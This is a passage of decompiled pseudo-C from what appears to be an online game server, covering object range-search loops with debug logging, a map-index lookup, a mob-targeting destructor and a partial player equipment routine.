int))(*(_DWORD *)v15 + 2208))(v15, 1); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal0"); FieldMap::fm_Relink(*(void **)(v15 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 0"); goto LABEL_42; } *(_DWORD *)(v15 + 4 * g_BroadcastStackPoint + 46) = event; v15 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v15 + 26) + 4) + 1636))(); if ( !v15 ) goto LABEL_19; } v56 = &deb_LF; v55 = "Too many loop"; goto LABEL_41; } LABEL_19: v20 = **(_DWORD **)(**(_DWORD **)((char *)v8 + 30) + 4); loop = 0; v21 = (*(int (**)(void))(v20 + 1636))(); if ( v21 ) { while ( 1 ) { if ( **(_DWORD **)(v21 + 78) >= (unsigned int)(range + *(_DWORD *)center) ) goto LABEL_25; v18 = __OFSUB__(loop + 1, 10000); v16 = loop == 9999; v17 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v17 ^ v18) | v16) ) break; v22 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v21 + 4 * g_BroadcastStackPoint + 62) == v22 ) { v31 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); if ( DebugLogging::dl_ActivAll && v31->dl_Activ && v31->dl_FilePointer ) { v32 = DebugLogging::dl_FilePoint(v31); fputc(10, v32); fflush(v31->dl_FilePointer); v52 = v31->dl_FilePointer; LABEL_55: fclose(v52); v31->dl_FilePointer = 0; goto LABEL_42; } goto LABEL_42; } *(_DWORD *)(v21 + 4 * g_BroadcastStackPoint + 62) = v22; if ( !(v21 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v21 + 30) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v21 + 2208))(v21, 2); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal1"); FieldMap::fm_Relink(*(void **)(v21 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 1"); goto LABEL_42; } *(_DWORD *)(v21 + 4 * g_BroadcastStackPoint + 46) = event; v21 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v21 + 30) + 4) + 1636))(); if ( !v21 ) goto LABEL_25; } v31 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v31->dl_Activ && v31->dl_FilePointer ) { v33 = DebugLogging::dl_FilePoint(v31); fputc(10, v33); fflush(v31->dl_FilePointer); v52 = v31->dl_FilePointer; goto LABEL_55; } LABEL_42: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v61 = -1; LABEL_45: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); result = 0; } else { LABEL_25: ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v23 = **(_DWORD **)(**(_DWORD **)((char *)v8 + 38) + 4); loop = 0; v24 = (*(int (**)(void))(v23 + 1636))(); if ( v24 ) { while ( 1 ) { if ( (unsigned int)(v12 + *(_DWORD *)(*(_DWORD *)(v24 + 78) + 4)) <= *(_DWORD *)(center + 4) ) goto LABEL_74; v18 = __OFSUB__(loop + 1, 10000); v16 = loop == 9999; v17 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v17 ^ v18) | v16) ) break; v25 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v24 + 4 * g_BroadcastStackPoint + 62) == v25 ) { v35 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); if ( !DebugLogging::dl_ActivAll || !v35->dl_Activ || !v35->dl_FilePointer ) goto LABEL_66; v36 = DebugLogging::dl_FilePoint(v35); fputc(10, v36); fflush(v35->dl_FilePointer); v53 = v35->dl_FilePointer; goto LABEL_73; } *(_DWORD *)(v24 + 4 * g_BroadcastStackPoint + 62) = v25; if ( !(v24 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v24 + 38) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v24 + 2208))(v24, 3); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal2"); FieldMap::fm_Relink(*(void **)(v24 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 2"); LABEL_66: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v61 = -1; goto LABEL_45; } v26 = *(_DWORD *)(center + 4); v27 = (**(_DWORD **)(v24 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v24 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v24 + 78) + 4) - v26) * (*(_DWORD *)(*(_DWORD *)(v24 + 78) + 4) - v26); if ( *(_DWORD *)(v24 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v24 + 4) != excepter && v27 < (unsigned int)rangesquar ) { if ( !fansector || (v28 = *(_DWORD *)(v24 + 78), *(_DWORD *)center == *(_DWORD *)v28) && v26 == *(_DWORD *)(v28 + 4) || ((VectorClass::UnitVector::UnitVector(&targetvector, (SHINE_XY_TYPE *)v28, (SHINE_XY_TYPE *)center), fansector == -4) ? (v29 = 0) : (v29 = fansector + 8), v34 = targetvector.baseclass_0.baseclass_4.v_x * *(_DWORD *)v29 + targetvector.baseclass_0.baseclass_4.v_y * *(_DWORD *)(v29 + 4), targetvector.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_, v34 >= cos1024) ) { if ( !(unsigned __int8)(**(int (__stdcall ***)(void *, int, int))ala)(v57, v24, v27) ) goto LABEL_42; } } v24 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v24 + 38) + 4) + 1636))(); if ( !v24 ) goto LABEL_74; v12 = range; } v35 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( !DebugLogging::dl_ActivAll || !v35->dl_Activ || !v35->dl_FilePointer ) goto LABEL_66; fputc(10, v35->dl_FilePointer); fflush(v35->dl_FilePointer); v53 = v35->dl_FilePointer; LABEL_73: fclose(v53); v35->dl_FilePointer = 0; goto LABEL_66; } LABEL_74: v37 = **(_DWORD **)(**(_DWORD **)((char *)v57 + 42) + 4); loop = 0; v38 = (*(int (**)(void))(v37 + 1636))(); if ( v38 ) { while ( 1 ) { if ( *(_DWORD *)(*(_DWORD *)(v38 + 78) + 4) >= (unsigned int)(range + *(_DWORD *)(v14 + 4)) ) goto LABEL_107; v18 = __OFSUB__(loop + 1, 10000); v16 = loop == 9999; v17 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v17 ^ v18) | v16) ) break; v39 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v38 + 4 * g_BroadcastStackPoint + 62) == v39 ) { v50 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); if ( !DebugLogging::dl_ActivAll || !v50->dl_Activ || !v50->dl_FilePointer ) goto LABEL_99; fputc(10, v50->dl_FilePointer); fflush(v50->dl_FilePointer); v54 = v50->dl_FilePointer; goto LABEL_106; } *(_DWORD *)(v38 + 4 * g_BroadcastStackPoint + 62) = v39; if ( !(v38 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v38 + 42) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v38 + 2208))(v38, 4); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal3"); FieldMap::fm_Relink(*(void **)(v38 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 3"); LABEL_99: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v61 = -1; goto LABEL_45; } v40 = *(_DWORD *)center; v41 = *(_DWORD *)(center + 4); v42 = (**(_DWORD **)(v38 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v38 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v38 + 78) + 4) - v41) * (*(_DWORD *)(*(_DWORD *)(v38 + 78) + 4) - v41); if ( *(_DWORD *)(v38 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v38 + 4) != excepter && v42 < (unsigned int)rangesquar ) { if ( !fansector || (v43 = *(_DWORD *)(v38 + 78), v40 == *(_DWORD *)v43) && v41 == *(_DWORD *)(v43 + 4) ) goto LABEL_115; v44 = *(_DWORD *)v43 - v40; v45 = *(_DWORD *)(v43 + 4) - v41; v46 = DirectDistanceTable::ddt_Distance(&ddt, v44, *(_DWORD *)(v43 + 4) - v41); if ( !v46 ) { v44 = 1; v45 = 0; v46 = 1; } v47 = 32 * v44 / v46; v48 = 32 * v45 / v46; v49 = fansector == -4 ? 0 : fansector + 8; if ( v47 * *(_DWORD *)v49 + v48 * *(_DWORD *)(v49 + 4) >= cos1024 ) { LABEL_115: if ( !(unsigned __int8)(**(int (__stdcall ***)(void *, int, int))ala)(v57, v38, v42) ) goto LABEL_42; } } v38 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v38 + 42) + 4) + 1636))(); if ( !v38 ) goto LABEL_107; v14 = center; } v50 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( !DebugLogging::dl_ActivAll || !v50->dl_Activ || !v50->dl_FilePointer ) goto LABEL_99; fputc(10, v50->dl_FilePointer); fflush(v50->dl_FilePointer); v54 = v50->dl_FilePointer; LABEL_106: fclose(v54); v50->dl_FilePointer = 0; goto LABEL_99; } LABEL_107: if ( tome ) v51 = (**(int (__stdcall ***)(void *, void *, _DWORD))ala)(v57, v57, 0); else v51 = 1; if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v61 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Class2"); result = v51; } return result; } // 63FA10: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 6A7AC4: using guessed type int g_BroadcastStackPoint; //----- (00523250) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_AllOfRangeNomal(void *this, int event, int center, int range, int fansector, int (__thiscall *axialfunc)(_DWORD, _DWORD, _DWORD), int a7, int a8, int a9, char tome, __int16 excepter) { void *v11; // ebp@1 char v12; // al@2 DebugLogging *v13; // eax@3 char result; // al@10 int v15; // edi@13 int v16; // edx@13 int v17; // ebx@13 int v18; // esi@13 bool v19; // zf@15 bool v20; // sf@15 unsigned __int8 v21; // of@15 unsigned int v22; // ecx@16 int v23; // edx@19 int v24; // esi@19 unsigned int v25; // ecx@22 int v26; // edx@25 int v27; // esi@25 unsigned int v28; // ecx@28 int v29; // ebp@30 int v30; // edi@30 int v31; // eax@34 int v32; // eax@37 DebugLogging *v33; // eax@41 DebugLogging *v34; // esi@46 _iobuf *v35; // eax@49 _iobuf *v36; // eax@54 int v37; // ecx@57 DebugLogging *v38; // esi@61 _iobuf *v39; // eax@64 int v40; // eax@74 int v41; // ebp@74 unsigned int v42; // ecx@77 int v43; // edi@79 int v44; // edx@79 int v45; // ebx@79 int v46; // eax@83 int v47; // esi@85 int v48; // edi@85 signed int v49; // ecx@85 int v50; // esi@87 int v51; // eax@87 signed int v52; // ecx@88 DebugLogging *v53; // esi@94 char v54; // bl@108 _iobuf *v55; // [sp-14h] [bp-50h]@49 _iobuf *v56; // [sp-14h] [bp-50h]@64 _iobuf *v57; // [sp-14h] [bp-50h]@97 char *v58; // [sp-Ch] [bp-48h]@38 DebugLineFeed *v59; // [sp-8h] [bp-44h]@38 void *v60; // [sp+Ch] [bp-30h]@1 int rangesquar; // [sp+10h] [bp-2Ch]@13 int cos1024; // [sp+14h] [bp-28h]@0 VectorClass::UnitVector targetvector; // [sp+20h] [bp-1Ch]@36 int v64; // [sp+38h] [bp-4h]@1 v11 = this; v60 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v64 = 0; if ( g_BroadcastStackPoint >= 3 ) { v13 = DebugLogging::operator<<(&BroadCastLog, "Too many Broadcast Nest"); DebugLogging::operator<<(v13, &deb_LF); v12 = 0; } else { ++g_BroadcastStackPoint; v12 = 1; } LOBYTE(v64) = 1; if ( !v12 ) { LABEL_8: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v64 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); return 0; } if ( (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v11 + 26) + 4) + 1636))() == v11 && (void *)(*(int (**)(void))(**(_DWORD **)(**(_DWORD **)((char *)v11 + 30) + 4) + 1636))() == v11 ) { MapRearrangeObserver::mro_Set(&maprearrangeobserver, "Unlinked object"); goto LABEL_8; } ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( fansector ) cos1024 = ShineRadian::sr_cos1024(&shineradian, *(_DWORD *)fansector / 2); v15 = range; rangesquar = range * range; v16 = **(_DWORD **)(**(_DWORD **)((char *)v11 + 26) + 4); loop = 0; v17 = center; v18 = (*(int (**)(void))(v16 + 1636))(); if ( v18 ) { while ( 1 ) { if ( (unsigned int)(range + **(_DWORD **)(v18 + 78)) <= *(_DWORD *)center ) goto LABEL_19; v21 = __OFSUB__(loop + 1, 10000); v19 = loop == 9999; v20 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v20 ^ v21) | v19) ) break; v22 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v18 + 4 * g_BroadcastStackPoint + 62) == v22 ) { v59 = &deb_LF; v58 = "List Wrong"; LABEL_41: v33 = DebugLogging::operator<<(&BroadCastLog, v58); DebugLogging::operator<<(v33, v59); goto LABEL_42; } *(_DWORD *)(v18 + 4 * g_BroadcastStackPoint + 62) = v22; if ( !(v18 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v18 + 26) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v18 + 2208))(v18, 5); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal4"); FieldMap::fm_Relink(*(void **)(v18 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 0"); goto LABEL_42; } *(_DWORD *)(v18 + 4 * g_BroadcastStackPoint + 46) = event; v18 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v18 + 26) + 4) + 1636))(); if ( !v18 ) goto LABEL_19; } v59 = &deb_LF; v58 = "Too many loop"; goto LABEL_41; } LABEL_19: v23 = **(_DWORD **)(**(_DWORD **)((char *)v11 + 30) + 4); loop = 0; v24 = (*(int (**)(void))(v23 + 1636))(); if ( v24 ) { while ( 1 ) { if ( **(_DWORD **)(v24 + 78) >= (unsigned int)(range + *(_DWORD *)center) ) goto LABEL_25; v21 = __OFSUB__(loop + 1, 10000); v19 = loop == 9999; v20 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v20 ^ v21) | v19) ) break; v25 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v24 + 4 * g_BroadcastStackPoint + 62) == v25 ) { v34 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); if ( DebugLogging::dl_ActivAll && v34->dl_Activ && v34->dl_FilePointer ) { v35 = DebugLogging::dl_FilePoint(v34); fputc(10, v35); fflush(v34->dl_FilePointer); v55 = v34->dl_FilePointer; LABEL_55: fclose(v55); v34->dl_FilePointer = 0; goto LABEL_42; } goto LABEL_42; } *(_DWORD *)(v24 + 4 * g_BroadcastStackPoint + 62) = v25; if ( !(v24 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v24 + 30) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v24 + 2208))(v24, 6); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal5"); FieldMap::fm_Relink(*(void **)(v24 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 1"); goto LABEL_42; } *(_DWORD *)(v24 + 4 * g_BroadcastStackPoint + 46) = event; v24 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v24 + 30) + 4) + 1636))(); if ( !v24 ) goto LABEL_25; } v34 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( DebugLogging::dl_ActivAll && v34->dl_Activ && v34->dl_FilePointer ) { v36 = DebugLogging::dl_FilePoint(v34); fputc(10, v36); fflush(v34->dl_FilePointer); v55 = v34->dl_FilePointer; goto LABEL_55; } LABEL_42: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v64 = -1; LABEL_45: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); result = 0; } else { LABEL_25: ++ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; v26 = **(_DWORD **)(**(_DWORD **)((char *)v11 + 38) + 4); loop = 0; v27 = (*(int (**)(void))(v26 + 1636))(); if ( v27 ) { while ( 1 ) { if ( (unsigned int)(v15 + *(_DWORD *)(*(_DWORD *)(v27 + 78) + 4)) <= *(_DWORD *)(center + 4) ) goto LABEL_74; v21 = __OFSUB__(loop + 1, 10000); v19 = loop == 9999; v20 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v20 ^ v21) | v19) ) break; v28 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v27 + 4 * g_BroadcastStackPoint + 62) == v28 ) { v38 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); if ( !DebugLogging::dl_ActivAll || !v38->dl_Activ || !v38->dl_FilePointer ) goto LABEL_66; v39 = DebugLogging::dl_FilePoint(v38); fputc(10, v39); fflush(v38->dl_FilePointer); v56 = v38->dl_FilePointer; goto LABEL_73; } *(_DWORD *)(v27 + 4 * g_BroadcastStackPoint + 62) = v28; if ( !(v27 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v27 + 38) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v27 + 2208))(v27, 7); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal6"); FieldMap::fm_Relink(*(void **)(v27 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 2"); LABEL_66: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v64 = -1; goto LABEL_45; } v29 = *(_DWORD *)(center + 4); v30 = (**(_DWORD **)(v27 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v27 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v27 + 78) + 4) - v29) * (*(_DWORD *)(*(_DWORD *)(v27 + 78) + 4) - v29); if ( *(_DWORD *)(v27 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v27 + 4) != excepter && v30 < (unsigned int)rangesquar ) { if ( !fansector || (v31 = *(_DWORD *)(v27 + 78), *(_DWORD *)center == *(_DWORD *)v31) && v29 == *(_DWORD *)(v31 + 4) || ((VectorClass::UnitVector::UnitVector(&targetvector, (SHINE_XY_TYPE *)v31, (SHINE_XY_TYPE *)center), fansector == -4) ? (v32 = 0) : (v32 = fansector + 8), v37 = targetvector.baseclass_0.baseclass_4.v_x * *(_DWORD *)v32 + targetvector.baseclass_0.baseclass_4.v_y * *(_DWORD *)(v32 + 4), targetvector.baseclass_0.vfptr = (VectorClass::VectorWithLengthVtbl *)&VectorClass::VectorWithLength::_vftable_, v37 >= cos1024) ) { if ( !(unsigned __int8)axialfunc(v27 + a7, v60, v30) ) goto LABEL_42; } } v27 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v27 + 38) + 4) + 1636))(); if ( !v27 ) goto LABEL_74; v15 = range; } v38 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( !DebugLogging::dl_ActivAll || !v38->dl_Activ || !v38->dl_FilePointer ) goto LABEL_66; fputc(10, v38->dl_FilePointer); fflush(v38->dl_FilePointer); v56 = v38->dl_FilePointer; LABEL_73: fclose(v56); v38->dl_FilePointer = 0; goto LABEL_66; } LABEL_74: v40 = **(_DWORD **)(**(_DWORD **)((char *)v60 + 42) + 4); loop = 0; v41 = (*(int (**)(void))(v40 + 1636))(); if ( v41 ) { while ( 1 ) { if ( *(_DWORD *)(*(_DWORD *)(v41 + 78) + 4) >= (unsigned int)(range + *(_DWORD *)(v17 + 4)) ) goto LABEL_107; v21 = __OFSUB__(loop + 1, 10000); v19 = loop == 9999; v20 = loop++ - 9999 < 0; if ( !((unsigned __int8)(v20 ^ v21) | v19) ) break; v42 = ShineObjectClass::ShineObject::so_SlantedListChecker.lcs_ListCheck[g_BroadcastStackPoint]; if ( *(_DWORD *)(v41 + 4 * g_BroadcastStackPoint + 62) == v42 ) { v53 = DebugLogging::operator<<(&BroadCastLog, "List Wrong"); if ( !DebugLogging::dl_ActivAll || !v53->dl_Activ || !v53->dl_FilePointer ) goto LABEL_99; fputc(10, v53->dl_FilePointer); fflush(v53->dl_FilePointer); v57 = v53->dl_FilePointer; goto LABEL_106; } *(_DWORD *)(v41 + 4 * g_BroadcastStackPoint + 62) = v42; if ( !(v41 != (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v41 + 42) + 4) + 1636))()) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_AllOfRangeNomal", 0); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v41 + 2208))(v41, 8); MapRearrangeObserver::mro_Set(&maprearrangeobserver, "so_AllOfRangeNomal7"); FieldMap::fm_Relink(*(void **)(v41 + 98), "ShineObjectClass::ShineObject::so_AllOfRangeNomal 3"); LABEL_99: if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; v64 = -1; goto LABEL_45; } v43 = *(_DWORD *)center; v44 = *(_DWORD *)(center + 4); v45 = (**(_DWORD **)(v41 + 78) - *(_DWORD *)center) * (**(_DWORD **)(v41 + 78) - *(_DWORD *)center) + (*(_DWORD *)(*(_DWORD *)(v41 + 78) + 4) - v44) * (*(_DWORD *)(*(_DWORD *)(v41 + 78) + 4) - v44); if ( *(_DWORD *)(v41 + 4 * g_BroadcastStackPoint + 46) == event && *(_WORD *)(v41 + 4) != excepter && v45 < (unsigned int)rangesquar ) { if ( !fansector || (v46 = *(_DWORD *)(v41 + 78), v43 == *(_DWORD *)v46) && v44 == *(_DWORD *)(v46 + 4) ) goto LABEL_115; v47 = *(_DWORD *)v46 - v43; v48 = *(_DWORD *)(v46 + 4) - v44; v49 = DirectDistanceTable::ddt_Distance(&ddt, v47, *(_DWORD *)(v46 + 4) - v44); if ( !v49 ) { v47 = 1; v48 = 0; v49 = 1; } v50 = 32 * v47 / v49; v51 = 32 * v48 / v49; v52 = fansector == -4 ? 0 : fansector + 8; if ( v50 * *(_DWORD *)v52 + v51 * *(_DWORD *)(v52 + 4) >= cos1024 ) { LABEL_115: if ( !(unsigned __int8)axialfunc(a7 + v41, v60, v45) ) goto LABEL_42; } } v41 = (*(int (**)(void))(**(_DWORD **)(**(_DWORD **)(v41 + 42) + 4) + 1636))(); if ( !v41 ) goto LABEL_107; v17 = center; } v53 = DebugLogging::operator<<(&BroadCastLog, "Too many loop"); if ( !DebugLogging::dl_ActivAll || !v53->dl_Activ || !v53->dl_FilePointer ) goto LABEL_99; fputc(10, v53->dl_FilePointer); fflush(v53->dl_FilePointer); v57 = v53->dl_FilePointer; LABEL_106: fclose(v57); v53->dl_FilePointer = 0; goto LABEL_99; } LABEL_107: if ( tome ) v54 = axialfunc((char *)v60 + a7, v60, 0); else v54 = 1; if ( g_BroadcastStackPoint > -1 ) --g_BroadcastStackPoint; --funcallanalizer.fca_stackpoint; v64 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AllOfRangeNomal_Func3"); result = v54; } return result; } // 63FA10: using guessed type int (__stdcall *VectorClass__VectorWithLength___vftable_)(int newdist); // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; // 6A7AC4: using guessed type int g_BroadcastStackPoint; //----- (00523C20) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShineObject::so_mapindex(void *this) { void *v1; // esi@1 int v2; // eax@1 signed __int16 result; // ax@2 int v4; // ecx@3 unsigned int v5; // eax@3 char *v6; // eax@3 unsigned int v7; // eax@3 signed __int16 v8; // si@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mapindex"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mapindex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)((char *)v1 + 98); if ( v2 ) { v4 = *(_DWORD *)(v2 + 12); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)v4; *((_DWORD *)v6 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v4 + 8); v6[12] = 0; v7 = BTree::operator__(&mapdatabox.mdb_btree, v6); v8 = -1; if ( v7 != -1 ) v8 = v7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mapindex"); result = v8; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mapindex"); result = -1; } return result; } //----- (00523D30) -------------------------------------------------------- void __thiscall MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate(MobTargetPlayerCaptivate *this) { MobTargetAggresive *v1; // esi@1 v1 = (MobTargetAggresive *)this; SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(&this->PlayerTarget.mts_EnemyAnalyzer); MobTargetAggresive::_MobTargetAggresive(v1); } //----- (00523D80) -------------------------------------------------------- void *__thiscall MobTargetPlayerCaptivate::_vector_deleting_destructor_(MobTargetPlayerCaptivate *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00523DA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_briefequipset(void *this) { void *v1; // edi@1 int v2; // ebp@1 int v3; // ST58_4@1 int v4; // ebx@1 int v5; // ST5C_4@1 int v6; // ST60_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_briefequipset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_briefequipset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 10); v3 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 12); v4 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 7); v5 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 19); v6 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 21); *(_WORD *)(*((_DWORD *)v1 + 8040) + 33) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 1) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 35) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 24) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 37) = *(_WORD *)(v3 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 39) = *(_WORD *)(v4 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 41) = *(_WORD *)(v2 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 43) = 